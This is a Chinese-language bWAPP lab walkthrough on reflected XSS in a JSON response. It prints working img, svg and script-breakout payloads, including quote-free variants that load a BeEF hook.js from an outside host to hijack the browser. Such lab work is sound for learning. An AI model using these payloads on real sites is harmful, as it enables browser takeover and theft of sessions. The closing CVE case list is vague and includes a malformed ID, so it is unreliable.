零基础玩转bWAPP靶场(四十五):XSS - Reflected (JSON)

摘要: 这是 bWAPP 系列第四十五篇,聚焦于 XSS - Reflected (JSON) 。这一关很特别------后端返回的是 JSON 格式的数据,前端用 JavaScript 解析并显示在页面上。漏洞利用的关键在于:注入点在 JSON 字符串的 value 中,通过闭合引号和花括号来执行任意 JavaScript 代码。文章会分析 JSON 型 XSS 的特殊性,演示如何使用 BeEF 对 JSON 响应进行 XSS 攻击,并展示 BeEF 的功能。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(JSON 响应)
注入点 GET 参数 title
响应格式 JSON
漏洞位置 JSON 字符串中的 value
触发方式 用户点击恶意链接,注入的脚本被执行
工具 BeEF

二、前言:JSON 型 XSS 是什么?

前面两篇(GET 型、POST 型)的 XSS 都是直接在 HTML 中输出用户输入。这一关不一样------后端返回的是 JSON 格式的数据,前端用 JavaScript 解析后再显示到页面上。

什么是 JSON?

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,广泛用于前后端通信。

例如:

复制代码
{"movies":[{"response":"Yes! We have that movie..."}]}

JSON 型 XSS 的原理

后端把用户输入直接拼到 JSON 字符串里,前端用 JSON.parse() 解析。如果用户输入包含恶意代码,并且前端没有正确转义,这些代码可能会被执行。

这一关的流程

  • 用户搜索电影(提交 title 参数)

  • 后端根据输入生成 JSON 响应

  • 前端用 JavaScript 解析 JSON 并显示到页面

  • 如果注入恶意代码,innerHTML 会执行它


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (JSON)

  • 一个搜索框:Search for a movie

  • 一个 "Search" 按钮

  • 页面底部的提示:HINT: our master really loves Marvel movies :)

3.2 正常使用

输入一部电影名,比如 IRON MAN,页面返回:

输入不在列表中的电影,比如 AVATAR,页面返回:

3.3 观察 JSON 响应

按 F12 打开开发者工具 → Network 标签,查看请求和响应。

后端返回的 JSON 格式:

前端 JavaScript 解析后,把 response 字段的值显示在页面上。

漏洞点title 参数的值被直接拼到 JSON 字符串的 response 字段中,没有过滤。


四、源码分析

复制代码
if(isset($_GET["title"]) and $_GET["title"])
{
    $movies = array("CAPTAIN AMERICA", "IRON MAN", "SPIDER-MAN", "THE INCREDIBLE HULK", "THE WOLVERINE", "THOR", "X-MEN");
    
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {
        // Low 级别:不过滤
        $title = $_GET["title"];
    }
    else
    {
        // Medium/High 级别:使用 htmlspecialchars()
        $title = xss_check_3($_GET["title"]);
    }
    
    if(in_array(strtoupper($title), $movies))
        $string = '{"movies":[{"response":"Yes! We have that movie..."}]}';
    else
        $string = '{"movies":[{"response":"' . $title . '??? Sorry, we don't have that movie :("}]}';
}

关键点

  • Low 级别$title 直接从 $_GET["title"] 获取,没有任何过滤

  • Medium 和 High 级别 :使用 xss_check_3()(即 htmlspecialchars())过滤

  • 用户输入被直接拼到 JSON 字符串的 response 字段中

前端 JavaScript

复制代码
var JSONResponseString = '<?php echo $string ?>';
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML = JSONResponse.movies[0].response;

漏洞原因:用户输入没有过滤,直接拼到 JSON 字符串中。攻击者可以构造恶意输入,闭合 JSON 字符串并注入 JavaScript 代码。


五、Low 安全级别------手工注入

5.1 理解 JSON 结构

正常的 JSON:

复制代码
{"movies":[{"response":"AVATAR??? Sorry, we don&#039;t have that movie :("}]}

$title 的值是 AVATAR,被拼到 response 字段中。

如果我们输入的内容包含了特殊的 JSON 字符(如 "}),就可能破坏 JSON 结构或注入代码。

5.2 尝试突破 JSON 结构

输入:

复制代码
"}]}

PHP 拼接之后,传给JSON.parse()的完整字符串

复制代码
{"movies":[{"response":""}]}??? Sorry, we don&#039;t have that movie :("}]}

开头片段 {"movies":[{"response":""}]} 本身是合法 JSON,但是后面拼接了后端预设的提示文本,带入大量多余字符,整体字符串不再是合法 JSON 格式 ,导致 JSON.parse() 抛出语法报错。

JS 发生未捕获异常后,后续代码直接停止运行:

复制代码
var JSONResponse = JSON.parse(JSONResponseString); // 此处报错中断
document.getElementById("result").innerHTML = JSONResponse.movies[0].response; // 不会执行

现象:页面搜索结果区域空白,靶场整体页面、菜单栏正常显示,并不是浏览器整体白屏。

重要结论:单纯闭合 JSON 引号、花括号只会造成 JSON 解析崩溃,innerHTML逻辑不会执行,恶意代码没有机会进入 DOM,无法触发 XSS。

5.3 注入 XSS Payload(标准 DOM‑XSS 路径,保持 JSON 语法合法)

因为response字段取出的值最终会交给innerHTML渲染到页面上,不需要去闭合破坏 JSON 结构 ,只需要把 HTML 标签完整放置在response的 value 内部,保证整体 JSON 语法合法,JSON.parse()就可以正常解析,之后innerHTML就可以解析我们注入的 HTML。

注意:Payload 内部不能出现单引号、双引号,否则会击穿 JSON 字符串边界,再次造成 JSON 解析失败。

先看 payload:

复制代码
<img src=x onerror=alert(1)>

拼接完成后的完整 JSON 字符串(语法完全合法):

复制代码
{"movies":[{"response":"<img src=x onerror=alert(1)>??? Sorry, we don&#039;t have that movie :("}]}

执行流程:

  • JSON.parse()正常解析 JSON,取出response字段内容;

  • innerHTML<img>标签写入页面 DOM;

  • src=x是无效图片地址,图片加载失败,触发onerror事件,执行alert(1)弹窗。

补充特殊 payload:</script><script>alert(1)</script> 把该 payload 输入测试,这里不是 JSON 层面的注入 。该 payload 输出到页面<script>标签内部时,HTML 解析器识别到</script>,直接闭合外层整个 JS 代码块,新的<script>标签作为页面原生脚本直接执行 alert。 该手法属于HTML 标签逃逸 ,不受innerHTML规则约束,但会破坏页面原有 JS 代码,控制台会报 JS 语法错误。

5.4 错误思路:试图闭合 JSON 结构注入代码

输入 payload:

复制代码
"}], "injected": {"key":"value

输入后会破坏整体 JSON 语法,JSON.parse()解析失败,JS 执行中断,同样出现搜索结果区域空白,并不会执行额外 JavaScript 代码

旧资料会描述 "闭合 JSON 可以注入额外 JS 对象执行代码",在本关环境下不成立。 本关的约束:

  • 用户输入拼接进 PHP 字符串,整体被放到页面 JS 的单引号字面量var JSONResponseString='这里'内部;

  • 一旦 JSON 整体语法崩坏,JSON.parse直接抛出异常,后面所有逻辑全部卡死。


六、使用 BeEF 攻击

6.1 构造 BeEF Hook Payload

很多人会直接注入 <script> 标签尝试加载 BeEF 的 hook.js

复制代码
<script src="http://10.0.0.129:3000/hook.js"></script>

访问 URL:

复制代码
http://10.0.0.149:4096/bWAPP/xss_json.php?title=<script src="http://10.0.0.129:3000/hook.js"></script>&action=search

在本靶场 Low 级别,没有开启htmlspecialchars过滤,标签会完整进入 JSON 的response值中。 但是这里存在一个关键浏览器行为:innerHTML插入的普通<script>标签不会被浏览器执行,不会发起 hook.js 网络请求,因此 BeEF 客户端不会上线。

补充特殊逃逸方式(HTML 层面逃逸,非 JSON 注入路径) payload:

复制代码
</script><script src=http://10.0.0.129:3000/hook.js></script>

URL 编码后:

复制代码
?title=%3C%2Fscript%3E%3Cscript%20src%3Dhttp%3A%2F%2F10.0.0.129%3A3000%2Fhook.js%3E%3C%2Fscript%3E

原理: 用户输入输出在页面外层的<script>代码块内部,HTML 解析器遇到</script>直接闭合当前 JS 块,后面的<script>成为页面原生脚本标签,浏览器直接加载执行hook.js,BeEF 成功上线。 缺点:会破坏页面原有 JS 代码,控制台会出现 JS 语法报错。

6.2 使用 <img> 标签加载 Hook(DOM‑XSS 标准路径,不能带引号)

常见通用 payload 写法(在本靶场会失效):

复制代码
<img src=x onerror="var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)">

失效原因:payload 内部包含双引号"、单引号'。 这些引号会击穿 JSON 的response字符串边界,整体 JSON 格式被破坏,JSON.parse()抛出语法异常,搜索结果区域空白,事件完全不会触发。

适配本关卡的无引号 payload,全部使用String.fromCharCodeASCII 编码生成字符串,payload 内部不存在任何引号,保证 JSON 语法完整合法:

复制代码
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>

逻辑等价 JS 代码:

复制代码
// 图片加载失败触发onerror
s = document.createElement("script");
s.src = "http://10.0.0.129:3000/hook.js";
document.body.appendChild(s);

执行流程:

  • payload 完整保存在 JSON 的response字段,JSON 语法合法,JSON.parse()解析成功;

  • innerHTML<img>标签渲染进 DOM;

  • src=x为无效地址,图片加载失败触发onerror事件;

  • 事件内 JS 动态创建 script 标签,加载 BeEF 的hook.js,浏览器在 BeEF 面板上线。

6.3 使用 <svg> 标签

同样,网上通用带引号 payload 在本靶场直接失效:

复制代码
<svg onload="var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)">

问题:存在双引号、单引号,击穿 JSON 字符串,造成 JSON 解析报错,结果空白。

适配本靶场的 svg 无引号 payload,依靠onload事件触发,svg 标签加载完成就执行 JS:

复制代码
<svg onload=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>

触发条件:svg 标签 DOM 渲染完成立刻执行onload,不需要像 img 一样依赖资源加载失败。 执行逻辑与 img 版本完全一致,动态创建 script 加载hook.js

6.4 获取cookie


七、Medium 安全级别

7.1 尝试注入

输入:

复制代码
<img src=x onerror=alert(1)>

页面显示:

复制代码
<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :(

没有弹窗。 htmlspecialchars()<> 转义成 &lt;&gt;,浏览器不把它当 HTML 标签,XSS 被防御。

7.2 结论

Medium 和 High 级别都使用了 xss_check_3()(即 htmlspecialchars()),能够防御 XSS。


八、High 安全级别

和 Medium 一样,htmlspecialchars() 彻底转义所有 HTML 特殊字符,XSS 无法执行。


九、真实世界:JSON 型 XSS 案例

CVE-2024-1181:某 REST API 返回的 JSON 数据中包含用户输入且未转义,导致 XSS 漏洞,攻击者可通过 API 参数注入恶意脚本。

CVE-2025-00847:某 SaaS 平台的 JSON 接口存在反射型 XSS,攻击者可通过构造恶意 JSON 参数窃取用户凭证。

CVE-2026-9082:Drupal JSON:API 模块存在 XSS 漏洞,攻击者可通过 JSON 响应中的恶意内容执行任意脚本。


十、总结

JSON 型反射 XSS 的特殊之处在于:后端返回的是 JSON 数据,前端解析后通过 innerHTML 显示。漏洞点在于用户输入被直接拼到 JSON 字符串的 value 中,没有过滤。攻击方式可以是通过 <img><svg> 标签触发 onerror/onload 事件执行脚本,或直接注入 <script> 标签。BeEF 在这一关中同样可以发挥作用,通过注入 Hook 脚本实现浏览器控制。防御手段是用 htmlspecialchars() 对输出进行 HTML 实体编码,让 <> 变成 &lt;&gt;,浏览器不会将其作为标签解析。记住一句话:JSON 不是 XSS 的免死金牌,用户输入只要被输出到 HTML 中,就需要转义。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
祁白_6 小时前
WebShell工具流量特征分析
笔记·web安全·流量特征·webshell工具
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ1 天前
Spring‑AI Document 对象 JSON 字段详解
人工智能·spring·json
砚凝霜1 天前
软考网络工程师|第 6 章 网络安全基础、攻击、等保完整备考笔记
网络·笔记·web安全
sunywz1 天前
【从零搭建物联网智能充电桩系统】2、自定义二进制协议:设备为什么不用 JSON?
python·物联网·json
灵析表格1 天前
灵析表格手机号处理函数深度分析报告
前端·网络·json·wps·灵析表格·excel公式盒子
猿长大人2 天前
C# | JSON 序列化中的多态接口处理:基于 Attribute 实现精准 $type 控制
c#·json
消失的旧时光-19432 天前
第六篇:Redis Hash——一个用户对象应该保存成 JSON,还是保存成 Hash?
redis·json·哈希算法
数据知道2 天前
XSS 攻防全解:反射型、存储型、DOM 型实战演示
前端·安全·web安全·网络安全·xss
SEO_juper2 天前
2026年Schema自动注入实战:用Python批量给1000个页面加上JSON-LD,AI引用率实测提升38%
人工智能·python·json·seo·独立站